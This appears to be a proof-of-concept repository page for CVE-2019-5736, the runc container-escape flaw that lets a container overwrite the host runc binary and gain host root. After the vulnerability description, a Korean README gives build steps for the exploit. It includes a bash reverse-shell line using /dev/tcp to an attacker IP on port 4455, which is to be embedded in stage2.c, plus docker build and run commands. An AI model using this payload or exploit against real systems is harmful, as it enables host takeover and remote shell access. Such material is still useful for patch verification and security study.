CVE-2019-5736 PoC — Docker 操作系统命令注入漏洞

Source

https://github.com/chosam2/cve-2019-5736-poc

Associated Vulnerability

Title: Docker 操作系统命令注入漏洞 (CVE-2019-5736)
Description:runc through 1.0-rc6, as used in Docker before 18.09.2 and other products, allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe.

Readme


### 추가해야 할 헤더 (stage2.c)
```bash #include <string.h>```

```bash #include <unistd.h>```

### 공격자 PC의 IP로 수정 (stage2.c)
```bash const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/<공격 PC IP>/4455 0>&1 &\n";```

### Docker Image 및 컨테이너 생성
```bash
$ docker build -t cve .
$ docker run -t -d --name cvetest cve
$ sudo cp /usr/bin/docker-runc /usr/bin/docker-runc.bak 
```

File Snapshot

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